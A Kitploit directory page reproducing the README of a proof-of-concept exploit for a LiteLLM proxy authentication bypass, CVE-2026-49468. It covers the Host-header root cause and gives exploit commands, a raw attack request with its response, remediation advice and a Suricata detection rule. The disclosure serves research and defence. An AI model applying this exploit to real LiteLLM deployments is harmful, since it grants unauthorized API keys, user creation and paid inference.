Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-49468-LiteLLM-Auth-Bypass — CVE-2026-49468 — LiteLLM (<1.84.0) unauthenticated auth bypass via Host-header route confusion. PoC + docker lab. | Kitploit
Tools/GitHubGitHub/biitts/cve-2026-49468-litellm-auth-bypass
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthenticationLearning & EducationLabs & Practice
GitHubbiitts/cve-2026-49468-litellm-auth-bypass

CVE-2026-49468-LiteLLM-Auth-Bypass

CVE-2026-49468 — LiteLLM (<1.84.0) unauthenticated auth bypass via Host-header route confusion. PoC + docker lab.

View Repository
222 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-49468 — LiteLLM Unauthenticated Auth Bypass via Host-Header Route Confusion

Pre-authentication authentication/authorization bypass in the LiteLLM proxy (BerriAI). A single crafted Host header makes the proxy evaluate its auth decision against a public health route while FastAPI still executes the protected management handler — serving the request with no API key.

CVECVE-2026-49468
ProductLiteLLM (BerriAI) proxy
Affected< 1.84.0 (verified on v1.83.14-stable)
Fixed1.84.0
ClassImproper Authentication (CWE-290) — route confusion
AuthNone (pre-auth)
CVSS 3.19.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (NVD)
CVSS 4.09.5 — AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H (GitHub)
StatusCONFIRMED — bypass reproduced end-to-end; fix verified on 1.84.0

The whole exploit is one header: Host: evil/?


Root cause

litellm/proxy/auth/auth_utils.py::get_request_route() derives the route used for every auth decision from request.url.path. Starlette rebuilds that URL string from the client-controlled Host header:

root@kitploit:~
# starlette/datastructures.py  (URL.__init__ from scope)
url = f"{scheme}://{host_header}{path}"      # host_header = attacker Host
...
@property
def path(self): return urlsplit(self._url).path

FastAPI routing dispatches on the raw ASGI path request.scope["path"]. Injecting a ? into the Host header pushes the real request path into the URL query component, so the reconstructed url.path collapses to /:

root@kitploit:~
real request path (scope, FastAPI routes here) : /key/generate
Host header                                     : evil/?
reconstructed URL                               : http://evil/?/key/generate
urlsplit(...).path                              : /          <-- auth sees this

/ is in LiteLLMRoutes.public_routes, and both auth gates short-circuit on public routes using that same forged value:

root@kitploit:~
# user_api_key_auth.py — authentication builder
if route in public_routes:                        # route == "/"
    return UserAPIKeyAuth(user_role=INTERNAL_USER_VIEW_ONLY)   # no API key required

# user_api_key_auth.py — authorization wrapper
if route in public_routes:                        # route == "/"
    return                                        # skips common_checks / admin-route enforcement

Fix (1.84.0): get_request_route() now reads request.scope["path"] / scope["root_path"] directly, never reconstructing from the Host header.


Impact

Reachable unauthenticated (served as INTERNAL_USER_VIEW_ONLY):

  • POST /key/generate → mint a valid virtual API key. The key works as normal auth with no bypass header → persistent authenticated foothold and provider cost abuse.
  • POST /user/new → create users.
  • POST /chat/completions (+ /v1/models, /model/info) → unauthenticated inference against the proxy's configured LLM providers.
  • GET /spend/logs, /settings, /get/config/callbacks → configuration / telemetry disclosure.

Endpoints protected by an inline PROXY_ADMIN check remain blocked (/config/update, /model/new, /user/list, /key/list, role elevation, MCP direct-create), so this bypass does not yield full proxy-admin or RCE on v1.83.14 — see ANALYSIS.md.


Reproduce

root@kitploit:~
# 1. bring up a vulnerable + patched lab (auth enabled with a master key)
cd lab && docker compose up -d && cd ..

# 2. confirm the bypass
python3 exploit.py -u http://127.0.0.1:4000 check
#   [*] GET /user/list  no-bypass Host  -> 401
#   [*] GET /user/list  Host: evil/?    -> 403
#   [+] VULNERABLE: authentication bypassed (baseline 401, bypass reached the handler: 403).

# 3. mint an API key with no credentials
python3 exploit.py -u http://127.0.0.1:4000 mint-key --alias demo
#   [+] Minted virtual API key (unauthenticated): sk-....

# 4. unauthenticated inference / enumeration
python3 exploit.py -u http://127.0.0.1:4000 chat --model gpt-3.5-turbo --prompt "hi"
python3 exploit.py -u http://127.0.0.1:4000 dump

# patched build (v1.84.0 on :4001) rejects the same requests with 401
python3 exploit.py -u http://127.0.0.1:4001 check

exploit.py is stdlib-only (http.client) and sets the Host header verbatim at the wire level. Actions: check, mint-key, user, chat, dump, raw METHOD PATH.

Raw request

root@kitploit:~
POST /key/generate HTTP/1.1
Host: evil/?
Content-Type: application/json
Content-Length: 2

{}
root@kitploit:~
HTTP/1.1 200 OK

{"key":"sk-...", ...}

See EVIDENCE.txt for the full baseline/bypass matrix, the adversarial discriminant (evil → 401, evil/foo → 401, evil/? → 200), and the patched boundary.


Remediation

  • Upgrade to LiteLLM 1.84.0 or later.
  • Workaround if you cannot upgrade: put the proxy behind a reverse proxy that enforces strict Host validation (reject Host values containing /, ?, #), and set a master_key.

Detection

The bypass is a syntactically invalid Host header. Sample Suricata rule:

root@kitploit:~
alert http any any -> any any (msg:"CVE-2026-49468 LiteLLM Host route-confusion bypass";
  flow:to_server,established; http.host; pcre:"/[\/?#]/";
  classtype:web-application-attack; sid:2026049468; rev:1;)

Log-side: any request whose Host header contains /, ?, or # reaching a LiteLLM proxy.

Credits

Caio Fabrício (BiiTts).

For authorized security research and testing only.

Download Tool